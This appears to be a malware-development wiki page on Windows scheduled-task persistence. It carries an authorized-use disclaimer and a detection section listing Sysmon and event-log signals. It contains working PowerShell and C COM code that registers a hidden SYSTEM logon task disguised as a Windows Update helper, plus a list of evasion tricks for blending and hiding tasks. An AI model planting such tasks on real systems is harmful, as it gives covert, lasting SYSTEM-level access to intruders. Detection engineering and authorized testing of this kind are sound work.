Skip to content
λmaldev wiki/
pagesScheduled Task Persistence
T1053.005WindowsPowerShellC / C++COMXML

Scheduled Task Persistence

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

The Task Scheduler service executes registered tasks in response to triggers: system events, logon, a schedule, or an idle state. Unlike Run keys (which fire in the user session), tasks with a SYSTEM principal fire without any user logged on, making them useful for both persistence across logons and maintaining SYSTEM-level code execution.

Tasks are stored as XML files under C:\Windows\System32\Tasks and mirrored in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache. Both locations are readable by any authenticated user, making enumeration trivial.

Note.

Windows 10+ Defender and most EDR products treat the creation of a task with a SYSTEM principal by a non-administrative process as a high-confidence alert. The technique is most useful post-privilege-escalation, not as a first-stage landing.

The call chain

  1. 1
    schtasks /create or Task Scheduler COM API
    Register a new task with the Task Scheduler service (svchost -k netsvcs, Schedule).
  2. 2
    define trigger
    AtLogon, AtStartup, Daily, OnIdle, EventTrigger — what causes the task to fire.
  3. 3
    define action
    Execute, ComHandler, SendEmail (deprecated), ShowMessage (deprecated).
  4. 4
    set principal
    Run as SYSTEM, a specific user, or the built-in Users group.
  5. 5
    (trigger fires)
    Task Scheduler service spawns the action from svchost — no user session interaction required for SYSTEM tasks.

Reference implementation

PowerShell (one-liner)

task_persist.ps1PowerShell
# Create a SYSTEM-level task that runs at every logon
$action  = New-ScheduledTaskAction -Execute "C:\Windows\Temp\update.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" `
           -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "WindowsUpdateHelper" `
  -Action $action -Trigger $trigger `
  -Settings $settings -Principal $principal `
  -Description "Windows Update service companion"

C via COM API

task_persist.cC
// Task Scheduler COM API — avoids calling schtasks.exe
#include <windows.h>
#include <taskschd.h>
#include <combaseapi.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "ole32.lib")

void create_task(const wchar_t *name, const wchar_t *exe_path) {
  CoInitializeEx(NULL, COINIT_MULTITHREADED);

  ITaskService *svc = NULL;
  CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
                   &IID_ITaskService, (void**)&svc);
  svc->lpVtbl->Connect(svc, _variant_t(), _variant_t(),
                       _variant_t(), _variant_t());

  ITaskFolder *root = NULL;
  svc->lpVtbl->GetFolder(svc, L"\\", &root);

  ITaskDefinition *def = NULL;
  svc->lpVtbl->NewTask(svc, 0, &def);

  // Set to run as SYSTEM
  IPrincipal *principal = NULL;
  def->lpVtbl->get_Principal(def, &principal);
  principal->lpVtbl->put_UserId(principal, L"S-1-5-18"); // SYSTEM SID
  principal->lpVtbl->put_LogonType(principal, TASK_LOGON_SERVICE_ACCOUNT);
  principal->lpVtbl->put_RunLevel(principal, TASK_RUNLEVEL_HIGHEST);

  // Logon trigger
  ITriggerCollection *triggers = NULL;
  def->lpVtbl->get_Triggers(def, &triggers);
  ITrigger *trigger = NULL;
  triggers->lpVtbl->Create(triggers, TASK_TRIGGER_LOGON, &trigger);

  // Action: execute our binary
  IActionCollection *actions = NULL;
  def->lpVtbl->get_Actions(def, &actions);
  IAction *action = NULL;
  actions->lpVtbl->Create(actions, TASK_ACTION_EXEC, &action);
  IExecAction *exec_action = NULL;
  action->lpVtbl->QueryInterface(action, &IID_IExecAction, (void**)&exec_action);
  exec_action->lpVtbl->put_Path(exec_action, (BSTR)exe_path);

  // Register the task
  IRegisteredTask *reg = NULL;
  root->lpVtbl->RegisterTaskDefinition(root, (BSTR)name, def,
      TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
      TASK_LOGON_SERVICE_ACCOUNT, _variant_t(), &reg);

  // cleanup omitted
  CoUninitialize();
}

Trigger types

Trigger Class Use case
At logon TASK_TRIGGER_LOGON User-session persistence
At startup TASK_TRIGGER_BOOT Pre-logon persistence, SYSTEM only
Daily / weekly TASK_TRIGGER_DAILY Periodic C2 check-in
On event TASK_TRIGGER_EVENT Reactionary — fire on a specific event log entry
On idle TASK_TRIGGER_IDLE Low-activity execution to avoid detection

Evasion tricks

  • Task name blending — name the task after an existing Windows task (\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant)
  • Random delay<RandomDelay>PT5M</RandomDelay> in the XML adds a random start delay
  • Hidden flag<Hidden>true</Hidden> hides the task from the Task Scheduler GUI (but not from schtasks /query)
  • COM handler actionTASK_ACTION_COM_HANDLER loads a registered COM object instead of a binary, leaving no obvious executable path in the task XML

Detection

SYSMON EID 1
svchost.exe (Schedule service host) spawning unexpected child processes.
WINDOWS EID 4698 / 4702
Security log events for task creation and modification — enabled when Advanced Audit Policy is configured.
SYSMON EID 11
New XML file created under C:\Windows\System32\Tasks or C:\Windows\SysWOW64\Tasks.
INVENTORY
Enumerate all registered tasks with schtasks /query /fo LIST /v; alert on tasks not in the approved baseline.

Windows event 4698 (task created) in the Security log is the authoritative signal, but it requires Advanced Audit Policy — specifically Audit Other Object Access Events. On endpoints without this policy, Sysmon’s file creation event (EID 11) for the Tasks XML directory is the next best thing.

Was this page useful?edit this page ↗